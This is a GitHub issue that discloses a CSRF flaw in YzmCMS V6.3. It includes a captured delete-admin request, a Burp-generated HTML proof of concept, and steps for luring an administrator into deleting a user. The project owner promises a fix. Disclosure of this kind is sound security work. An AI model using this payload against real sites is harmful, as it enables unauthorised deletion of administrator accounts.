

New issue

[Jump to bottom](#)

# YzmCMS V6. 3. CSRF vulnerability exists in the official version(YzmCMS V6.3 正式版存在csrf漏洞) #59

✓ Closed zpxlz opened this issue on Jan 20 · 1 comment

zpxlz commented on Jan 20

This vulnerability allows arbitrary users to be deleted,  
There is a user with ID 3,

YzmCMS内容管理系统 V6.3 站点首页 会员中心 锁屏 技术支持 清除缓存 超级管理员 yzmcms

我的桌面 角色管理 管理员管理

首页 > 管理员管理 > 管理员列表

+ 添加管理员 正在讲话: 李坤

ID	用户名	真实姓名	邮箱	角色	添加时间	最后登录时间	最后登录IP	添加人	操作
3	test	123	111@qq.qq	超级管理员	2022-01-21 11:23:58	从未登录	从未登录	yzmcms	<a href="#">编辑</a> <a href="#">删除</a>
1	yzmcms	张三	3201842195@qq.com	超级管理员	2022-01-21 09:49:11	2022-01-21 10:35:52	127.0.0.1	创始人	<a href="#">编辑</a> <a href="#">删除</a>

共2条记录, 共1页, 当前显示第1页

首页 上页 1 下页 尾页 跳到 页码 页

Click delete and capture the package to generate the POC of CSRF,

CSRF PoC generator

Request to: http://localhost

Raw Params Headers Hex

Raw In Actions

```
GET /yzmcms/admin/admin_manage/delete/adminid/3.html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
```

Search... 0 matches

CSRF HTML:

```
1 <html>
2 <!-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <script>history.pushState('', '', '/')</script>
5 <form action="http://localhost/yzmcms/admin/admin_manage/delete/adminid/3.html">
6 <input type="submit" value="Submit request" />
7 </form>
8 </body>
9 </html>
```

Package the deletion request to dorp, and put the generated POC in the HTML page and send it to the administrator. When the administrator clicks the page, the user with ID 3 can be deleted.

localhost/yzmcms/admin/admin\_manage/delete/adminid/3.html? 110%

常用网址 京东商城

提示信息

操作成功!

本页面将在 1 秒后跳转...

ID	用户名	真实姓名	邮箱	角色	添加时间	最后登录时间	最后登录IP	添加人	操作
1	yzmcms	张三	3201842195@qq.com	超级管理员	2022-01-21 09:49:11	2022-01-21 10:35:52	127.0.0.1	创始人	<a href="#">编辑</a> <a href="#">删除</a>

共1条记录, 共1页, 当前显示第1页

首页 上页 1 下页 尾页 跳到 页码 页

yzmcms commented on Feb 13

Owner

下一个版本修复



yzmcms closed this as completed on Feb 13

---

#### Assignees

No one assigned

---

#### Labels

None yet

---

#### Projects

None yet

---

#### Milestone

No milestone

---

#### Development

No branches or pull requests

---

2 participants

